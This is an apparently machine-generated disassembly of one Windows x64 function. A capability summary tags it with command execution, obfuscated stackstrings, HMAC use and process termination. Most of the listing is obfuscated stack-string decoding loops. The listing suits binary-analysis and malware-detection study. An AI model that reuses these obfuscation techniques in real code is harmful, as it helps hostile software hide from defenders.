Function at 0x1400f84b0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Execute command
Parse pe header
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rdi, rdx
mov ebx, ecx
lea rcx, [0x1402694b4]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp ebx, 1
jle 0x1400fa4f0
mov rdx, qword [rdi + 8]
lea rcx, [rsp + 0x48]
call fcn.140046ad0
nop
lea rdx, [0x140277f04]
lea rcx, [rsp + 0x48]
call fcn.1400439c0
test al, al
je 0x1400fa4e1
cmp ebx, 2
jle 0x1400fa4e1
mov rdx, qword [rdi + 0x10]
lea rcx, [rsp + 0x68]
call fcn.140046ad0
nop
mov byte [rbp + 0x290], 0x3d
mov byte [rbp + 0x291], 7
mov byte [rbp + 0x292], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x293], Ordinal_46
mov byte [rbp + 0x294], Ordinal_26
mov byte [rbp + 0x295], WSAGetLastError
mov byte [rbp + 0x296], gethostname
mov byte [rbp + 0x297], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x298], 1
mov byte [rbp + 0x299], WSASetLastError
mov byte [rbp + 0x29a], Ordinal_30
mov byte [rbp + 0x29b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x29c], reloc.WS2_32.dll_send
mov byte [rbp + 0x29d], recvfrom
mov byte [rbp + 0x29e], Ordinal_35
mov byte [rbp + 0x29f], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x2a0], Ordinal_35
mov byte [rbp + 0x2a1], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x2a2], Ordinal_79
mov byte [rbp + 0x2a3], 0x9b
mov byte [rbp + 0x2a4], 0x7a
xor eax, eax
mov qword [rbp + 0x2a5], rax
mov dword [rbp + 0x2ad], eax
movabs rsi, 0x411c118e50f65971
movabs r12, 0xde876e8cdf48aeed
movabs r14, 0xd389067d3c76faaf
movabs r15, 0x167a29637de59cd5
movabs r13, 0x596b4c49bf543efb
movzx edi, byte [rbp + 0x530]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov rax, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x21
jae 0x1400f94f5
movzx r11d, byte [rbp + r10 + 0x290]
mov r9d, r11d
nop dword [rax]
cmp rbx, r10
ja 0x1400f94ec
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x1400f866c
lea rdx, [r10 + r12]
mov rcx, rdx
and rcx, r9
imul rdi, rcx, 0xfffffffffffffffe
add rdi, rdx
add rdi, r9
sub dil, 0x7b
jmp 0x1400f86c0
je 0x1400f9464
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x1400f93b8
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400f937f
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x1400f935a
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x1400f932f
lea rcx, [rax + 7]
cmp rbx, rcx
je 0x1400f9301
lea rcx, [rax + 8]
cmp rbx, rcx
je 0x1400f92ad
cmp rax, r10
ja 0x1400f94e3
lea rcx, [rax + 0x42]
cmp rbx, rcx
jae 0x1400f86ef
lea r8, [r10 + rsi]
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x17
add dil, r8b
jmp 0x1400f8750
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x1400f928a
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x1400f9260
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x1400f920c
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x1400f91e7
lea rcx, [rax + 7]
cmp rbx, rcx
je 0x1400f91c3
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x1400f919f
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x1400f9168
nop word [rax + rax]
lea rcx, [rax + rbx]
cmp rcx, r10
jbe 0x1400f8dc0
nop dword [rax]
lea rcx, [rax + 0xa]
cmp rbx, rcx
je 0x1400f8d97
lea rcx, [rax + 0x40]
cmp rbx, rcx
je 0x1400f8d65
lea rcx, [rax + 0x200]
cmp rbx, rcx
je 0x1400f8d36
lea rcx, [rax + 0x28]
cmp rbx, rcx
je 0x1400f8d0d
lea rcx, [rax + 0x80]
cmp rbx, rcx
je 0x1400f8ce1
lea rcx, [rax + 0x1000]
cmp rbx, rcx
je 0x1400f8cb8
lea rcx, [rax + 0x5a]
cmp rbx, rcx
je 0x1400f8c8f
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x1400f8c66
lea rcx, [rax + 0x41]
cmp rbx, rcx
je 0x1400f8c2b
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x1400f8760
lea rbx, [rax + 4]
lea rax, [rbx + 6]
lea rcx, [rax + 9]
cmp rbx, rcx
jb 0x1400f94bf
lea rcx, [rax + 3]
cmp rbx, rcx
jb 0x1400f949b
lea rcx, [rax + 8]
cmp rbx, rcx
jb 0x1400f894d
lea rcx, [rax + 0x20]
cmp rbx, rcx
jb 0x1400f8932
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1400f8917
lea rcx, [rax + 0x10]
cmp rbx, rcx
jb 0x1400f8bcd
lea rcx, [rax + 0x42]
cmp rbx, rcx
jb 0x1400f8b73
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
jb 0x1400f8b27
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x1400f8af8
lea rcx, [rax + 0x200]
cmp rbx, rcx
jb 0x1400f8760
lea rbx, [rax + 0x400]
lea rax, [rbx + 0x61]
lea rcx, [rax + 0x41]
cmp rbx, rcx
ja 0x1400f8ac2
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
ja 0x1400f8a99
lea rcx, [rax + 0x7a]
cmp rbx, rcx
ja 0x1400f8a70
lea rcx, [rax + 1]
cmp rbx, rcx
ja 0x1400f8a47
lea rcx, [rax + 5]
cmp rbx, rcx
ja 0x1400f8a1b
lea rcx, [rax + 0x2a]
cmp rbx, rcx
ja 0x1400f89f2
lea rcx, [rax + 4]
cmp rbx, rcx
ja 0x1400f89c3
lea rcx, [rax + 9]
cmp rbx, rcx
ja 0x1400f8991
lea rcx, [rax + 0x28]
cmp rbx, rcx
ja 0x1400f8968
lea rcx, [rax + 8]
cmp rbx, rcx
ja 0x1400f8760
lea rbx, [rax + 0xa]
lea rax, [rbx + 0x20]
jmp 0x1400f8760
lea rdx, [r10 + r14]
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x37
jmp 0x1400f8750
lea rdx, [r10 + r15]
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x2d
jmp 0x1400f86c0
lea rdx, [r10 + r13]
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x23
jmp 0x1400f8640
movabs r8, 0x8e08c7287b2cb88
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, 0x24
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f92cc
movabs r8, 0x4bd1af58c9216dae
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_35
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
inc rax
dec r10
inc r10
jmp 0x1400f8623
movabs r8, 0x8ec2d23f0a900fd4
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
dec r10
inc r10
jmp 0x1400f8623
movabs r8, 0xd1b3f5254bfeb1fa
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f9230
movabs r8, 0x14a5180b8d6d5420
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
add rbx, rax
jmp 0x1400f939f
movabs r8, 0x57963af1cedbf646
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, listen
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f939f
movabs r8, 0x9a875dd8104a986c
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, 6
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f93dc
movabs r8, 0xdd7880be51b93a92
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, 1
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f9412
movabs rdx, 0x2069a3a49327dcb8
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 8
movzx ecx, byte [rbp + r10 + 0x290]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400f8623
movabs rdx, 0xc7c47ae436bc7217
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x5f
mov byte [rbp + r10 + 0x290], dil
inc r10
jmp 0x1400f8623
movabs rdx, 0xab59dca782b143d
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x55
cmp rax, 2
jb 0x1400f8b17
movabs rdx, 0xa9f60c20f6f5b26e
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, r11b
lea edi, [rdx*2 - 4]
jmp 0x1400f92cc
movabs rdx, 0x4da6c0b0b999b663
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x4b
cmp rbx, 0x28
jae 0x1400f9106
lea rcx, [rax + 0x42]
cmp rbx, rcx
jbe 0x1400f8fa6
movabs rdx, 0x4761691f854807ea
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x66
jmp 0x1400f8b46
movabs rdx, 0x9097e396fb085889
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x41
lea rcx, [rax + rbx]
cmp rcx, 0x7a
je 0x1400f9137
lea rcx, [rax + 0x5a]
cmp rbx, rcx
jbe 0x1400f8eb0
movabs rdx, 0x64557913451ae79
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x4f
jmp 0x1400f8b92
movabs r8, 0x86a86955e5c618a6
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_60
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
movzx ecx, byte [rbp + r10 + 0x290]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400f8623
movabs r8, 0xc9998c3c2734bacc
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f9412
movabs r8, 0xc8aaf2268a35cf2
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f93dc
movabs r8, 0x4f7bd208aa11ff18
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_46
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f939f
movabs r8, 0x926cf4eeeb80a13e
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
add rbx, rax
jmp 0x1400f939f
movabs r8, 0xd55e17d52cef4364
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_35
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f9230
movabs r8, 0x184f3abb6e5de58a
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_30
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
dec r10
inc r10
jmp 0x1400f8623
movabs r8, 0x5b405da1afcc87b0
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_26
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
inc rax
dec r10
inc r10
jmp 0x1400f8623
movabs r8, 0x9e318087f13b29d6
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
jmp 0x1400f92cc
lea rdx, [rax + 2]
cmp rbx, rdx
jae 0x1400f8de4
lea rdx, [r10 + r12]
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x7b
jmp 0x1400f8bec
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400f8e23
movabs rdx, 0x8238231ca1ecb2e2
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x2e
movzx ecx, byte [rbp + r10 + 0x290]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400f8623
cmp rbx, rdx
jne 0x1400f8e4c
movabs rdx, 0x3f470036607e10bc
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x24
jmp 0x1400f9412
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x1400f8e7d
movabs rdx, 0x767397839c322a4a
add rdx, r10
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea edi, [rdx + r11]
sub dil, 6
add rbx, rax
jmp 0x1400f939f
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x1400f8bec
movabs r8, 0x3382749d5ac38824
add r8, r10
movzx ecx, r11b
and cl, r8b
mov edx, 2
sub dl, cl
lea edi, [rdx + rdx]
add dil, r11b
jmp 0x1400f922d
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400f8edd
movabs rdx, 0xc35434aaf2e30c53
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x45
jmp 0x1400f92cc
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x1400f8f13
movabs rdx, 0x806311c4b1746a2d
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x3b
inc rax
dec r10
inc r10
jmp 0x1400f8623
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x1400f8f46
movabs rdx, 0x3d71eede7005c807
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x31
dec r10
inc r10
jmp 0x1400f8623
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x1400f8f73
movabs rdx, 0x749e862babb9e195
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x13
jmp 0x1400f939f
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x1400f8b92
movabs r8, 0x31ad63456a4b3f6f
add r8, r10
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edi, r11b
sub dil, cl
sub dil, 9
jmp 0x1400f93d9
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400f8fe5
movabs rdx, 0x470463943d965c4
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x5c
movzx ecx, byte [rbp + r10 + 0x290]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400f8623
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x1400f9012
movabs rdx, 0x7e8e006cc0fc2178
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x48
jmp 0x1400f93dc
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x1400f903f
movabs rdx, 0x3b9cdd867f8d7f52
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x3e
jmp 0x1400f939f
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x1400f906c
movabs rdx, 0xb5ba97b9fcb03b06
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x2a
jmp 0x1400f9230
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x1400f909f
movabs rdx, 0x72c974d3bb4198e0
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x20
dec r10
inc r10
jmp 0x1400f8623
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x1400f90d5
movabs rdx, 0x2fd851ed79d2f6ba
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x16
inc rax
dec r10
inc r10
jmp 0x1400f8623
lea rcx, [rax + 9]
cmp rbx, rcx
jne 0x1400f8b46
movabs rdx, 0xece72f0738645494
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0xc
jmp 0x1400f92cc
movabs r8, 0x6704e93ab5871048
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, 4
sub dl, cl
lea edi, [rdx + rdx]
add dil, byte [rbp + r10 + 0x290]
add dil, r8b
add dil, r11b
jmp 0x1400f9230
movabs r8, 0x2413c65474186e22
add r8, r10
movzx ecx, r8b
and cl, r11b
mov edx, 9
sub dl, cl
lea edi, [rdx + rdx]
sub dil, byte [rbp + r10 + 0x290]
add dil, r8b
add dil, r11b
jmp 0x1400f93dc
movabs rdx, 0xe6a1d7760412a61b
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
add dil, 0x43
movzx ecx, byte [rbp + r10 + 0x290]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400f8623
movabs rdx, 0x2992fa5c45814841
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x39
jmp 0x1400f9412
movabs rdx, 0x6c841d4286efea67
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x2f
jmp 0x1400f93dc
movabs rdx, 0xaf754028c85e8c8d
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
add dil, 0x25
jmp 0x1400f939f
movabs r8, 0x355785f54b3bd0d9
add r8, r10
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, 0x11
add dil, r8b
movabs rdx, 0x458c57c794cfbf35
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x73
add dl, r11b
add dl, dil
mov byte [rbp + r10 + 0x290], dl
add rbx, rax
jmp 0x1400f939f
movabs rdx, 0x7848a8db8caa72ff
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 7
dec r10
inc r10
jmp 0x1400f8623
movabs rdx, 0xfe2aeea80f87b74b
add rdx, r10
and r9b, dl
add r9b, r9b
movzx edi, r11b
sub dil, r9b
sub dil, 0xd
add dil, dl
jmp 0x1400f92cc
movabs rdx, 0x840d34749264fb97
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
sub dil, 0x21
movabs rdx, 0x887d7aadd63e615b
add rdx, r10
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
sub r11b, 0x7d
add r11b, dl
mov byte [rbp + r10 + 0x290], r11b
inc rax
dec r10
inc r10
jmp 0x1400f8623
movabs rdx, 0xc6fe575ad3d39dbd
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x2b
inc rax
dec r10
inc r10
jmp 0x1400f8623
movabs rdx, 0x9ef7a4115423fe3
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x35
dec r10
inc r10
jmp 0x1400f8623
movabs rdx, 0x8fd1c00d981f842f
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x49
add rbx, rax
jmp 0x1400f939f
movabs rdx, 0xd2c2e2f3d98e2655
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x53
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x1400f8623
movabs r8, 0x15b405da1afcc87b
add r8, r10
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x5d
add dil, r8b
movabs r8, 0x29b34e153611d0f
add r8, r10
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, 0x69
add dl, r8b
movzx ecx, dl
mov byte [rbp + r10 + 0x290], cl
inc rax
add rcx, rax
sub r10, rcx
movabs r8, 0xe122a36e32a9cbfc
add r8, r10
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, cl
add dl, dl
add dl, r11b
add dl, r8b
mov byte [rbp + r10 + 0x290], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r10, rcx
movzx ecx, byte [rbp + r10 + 0x290]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400f8623
movabs rdx, 0x9b964ba69dda0cc7
add rdx, r10
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x71
movzx ecx, byte [rbp + r10 + 0x290]
add rcx, rax
add r10, rcx
inc r10
jmp 0x1400f8623
movabs rdx, 0x9c5c6f3000c2e121
add rdx, r10
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea edi, [r11 + rdx]
add dil, 0x19
jmp 0x1400f8620
movabs rcx, 0xdf4d921642318347
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0xf
jmp 0x1400f8605
lea rdx, [rbp + 0x15589cc]
jmp 0x1400f94fc
lea rdx, [rbp + 0x9e38b9]
jmp 0x1400f94fc
lea rdx, [rbp + 0x290]
lea r8, [rsp + 0x68]
lea rcx, [rbp - 0x58]
call fcn.140095060
nop
lea r8, [0x1402747cc]
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140109980
mov rcx, rax
call fcn.1400e07a0
nop
lea rcx, [rbp - 0x58]
call fcn.1400438e0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x38]
call fcn.140046b10
mov rcx, rax
call fcn.1400e8b30
mov byte [rbp + 0x490], 0x83
mov byte [rbp + 0x491], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x492], 0xaf
mov byte [rbp + 0x493], Ordinal_60
mov byte [rbp + 0x494], 0x9f
mov byte [rbp + 0x495], 0x3d
mov byte [rbp + 0x496], 0x99
mov byte [rbp + 0x497], 0x3f
mov byte [rbp + 0x498], 0x99
mov byte [rbp + 0x499], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x49a], 0xb5
mov byte [rbp + 0x49b], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x49c], 0xb7
mov byte [rbp + 0x49d], Ordinal_41
mov byte [rbp + 0x49e], 0x44
mov byte [rbp + 0x49f], Ordinal_45
mov byte [rbp + 0x4a0], 0x80
mov byte [rbp + 0x4a1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x4a2], 0xbf
mov byte [rbp + 0x4a3], Ordinal_46
mov byte [rbp + 0x4a4], 0x86
mov byte [rbp + 0x4a5], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x4a6], 0x80
mov byte [rbp + 0x4a7], Ordinal_50
mov byte [rbp + 0x4a8], 0xb5
mov byte [rbp + 0x4a9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x4aa], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x4ab], reloc.WS2_32.dll_send
mov byte [rbp + 0x4ac], 0x85
mov byte [rbp + 0x4ad], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x4ae], 0xba
mov byte [rbp + 0x4af], reloc.WS2_32.dll_socket
mov byte [rbp + 0x4b0], 0xb4
mov byte [rbp + 0x4b1], Ordinal_26
mov byte [rbp + 0x4b2], 0xbb
mov byte [rbp + 0x4b3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x4b4], 0xb4
mov byte [rbp + 0x4b5], Ordinal_35
mov byte [rbp + 0x4b6], 0xb2
mov byte [rbp + 0x4b7], Ordinal_35
mov byte [rbp + 0x4b8], 0xb9
mov byte [rbp + 0x4b9], 1
mov byte [rbp + 0x4ba], 0xa4
mov byte [rbp + 0x4bb], 3
mov byte [rbp + 0x4bc], 0x62
mov byte [rbp + 0x4bd], 5
mov byte [rbp + 0x4be], 0xa2
mov byte [rbp + 0x4bf], 7
mov byte [rbp + 0x4c0], __WSAFDIsSet
mov byte [rbp + 0x4c1], 9
mov byte [rbp + 0x4c2], 0x99
mov byte [rbp + 0x4c3], recvfrom
mov byte [rbp + 0x4c4], 0xa5
mov byte [rbp + 0x4c5], reloc.WS2_32.dll_listen
mov byte [rbp + 0x4c6], WSASetLastError
mov byte [rbp + 0x4c7], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4c8], 0xad
mov byte [rbp + 0x4c9], WSACleanup
mov byte [rbp + 0x4ca], Ordinal_217
mov byte [rbp + 0x4cb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x4cc], Ordinal_217
mov byte [rbp + 0x4cd], 0x75
mov byte [rbp + 0x4ce], 0xe5
mov byte [rbp + 0x4cf], 0x77
mov byte [rbp + 0x4d0], 0xe1
mov byte [rbp + 0x4d1], 0x79
mov byte [rbp + 0x4d2], Ordinal_217
mov byte [rbp + 0x4d3], 0x7b
mov byte [rbp + 0x4d4], 0xee
mov byte [rbp + 0x4d5], 0x7d
mov byte [rbp + 0x4d6], 0x7c
mov byte [rbp + 0x4d7], 0x7f
xor eax, eax
mov qword [rbp + 0x4d8], rax
mov word [rbp + 0x4e0], ax
mov byte [rbp + 0x4e2], al
movabs rsi, 0xf669e5f258b3e713
movabs r12, 0x6d41fec265bf6c87
movabs r14, 0x52d5538d3eefed4d
movabs r15, 0x785156087371143f
movabs r13, 0x9dcd5883a7f23b31
movzx edi, byte [rbp + 0x530]
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x53
jae 0x1400fa4cc
movzx r9d, byte [rbp + r10 + 0x490]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400fa4c3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f97ec
mov rdi, rdx
lea rcx, [r10 + r12]
movzx eax, cl
and al, dl
add al, al
sub dil, al
add dil, 0x4f
add dil, cl
jmp 0x1400f9820
je 0x1400fa43e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fa3d0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fa39a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400fa376
nop dword [rax]
cmp r8, r10
ja 0x1400fa4ba
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x1400f984a
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
jmp 0x1400f9890
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fa322
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fa2f7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fa2a6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fa27e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fa225
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400f9ee0
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400f9ebc
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400f9e8f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f9e61
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400f9e3d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f9e12
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400f9dea
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400f9dc6
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400f9d9e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f9d68
lea rax, [r8 + 0x61]
cmp rbx, rax
